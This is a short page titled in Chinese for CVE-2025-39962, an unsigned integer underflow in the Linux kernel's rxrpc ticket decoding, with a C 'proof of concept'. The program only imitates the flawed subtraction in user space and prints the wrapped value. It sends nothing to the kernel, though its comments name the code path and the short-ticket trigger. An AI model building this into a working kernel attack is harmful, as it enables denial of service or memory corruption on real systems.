CVE-2025-39962 Linux内核rxrpc未签名整数下溢漏洞

// PoC for CVE-2025-39962 - Linux kernel rxrpc unsigned integer underflow // This PoC demonstrates the vulnerability concept by sending a malformed // RXGK ticket with insufficient length to trigger the integer underflow. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <linux/af_rxrpc.h> // Simulated vulnerable function logic from net/rxrpc/rxgk_app.c void vulnerable_decode_ticket(unsigned int ticket_len, unsigned char *ticket_data) { // VULNERABLE: untrusted unsigned subtract // If ticket_len < 40 (10*4), this wraps around to a huge value unsigned int data_len = ticket_len - 10 * 4; printf("ticket_len=%u, calculated data_len=%u\n", ticket_len, data_len); // This would lead to out-of-bounds access if (data_len > 0) { printf("Attempting to read %u bytes - potential OOB!\n", data_len); // memcpy/memmove with underflowed length would cause kernel panic } } int main() { // Craft a ticket with length less than 40 to trigger underflow unsigned int malicious_len = 20; // Less than 10*4 = 40 unsigned char ticket[64] = {0}; printf("Triggering CVE-2025-39962 PoC...\n"); vulnerable_decode_ticket(malicious_len, ticket); // In real scenario, send this via AF_RXRPC socket to trigger kernel path printf("PoC completed - underflow demonstrated\n"); return 0; }